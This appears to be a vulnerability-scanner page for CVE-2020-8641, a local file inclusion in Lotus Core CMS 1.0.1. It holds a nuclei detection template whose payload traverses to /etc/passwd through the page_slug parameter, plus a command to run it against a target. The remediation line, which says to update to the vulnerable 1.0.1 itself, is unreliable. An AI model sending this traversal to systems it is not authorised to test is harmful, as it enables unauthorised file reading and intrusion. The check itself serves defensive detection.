Lotus Core CMS 1.0.1 - Local File Inclusion

highseverity

8.8CVSS score

12.3%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Lotus Core CMS 1.0.1 allows authenticated local file inclusion of .php files via directory traversal in the index.php page_slug parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.

Fix

Apply the latest security patch or update to Lotus Core CMS 1.0.1 to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?page_slug=../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-8641 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-8641

info:
  name: Lotus Core CMS 1.0.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Lotus Core CMS 1.0.1 allows authenticated local file inclusion of .php files via directory traversal in the index.php page_slug parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patch or update to Lotus Core CMS 1.0.1 to fix the LFI vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2020010234
    - https://www.exploit-db.com/exploits/47985
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8641
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-8641
    cwe-id: CWE-22
    epss-score: 0.12286
    epss-percentile: 0.9622
    cpe: cpe:2.3:a:lotus_core_cms_project:lotus_core_cms:1.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lotus_core_cms_project
    product: lotus_core_cms
  tags: cve,cve2020,lfi,lotus,cms,edb,lotus_core_cms_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?page_slug=../../../../../etc/passwd%00'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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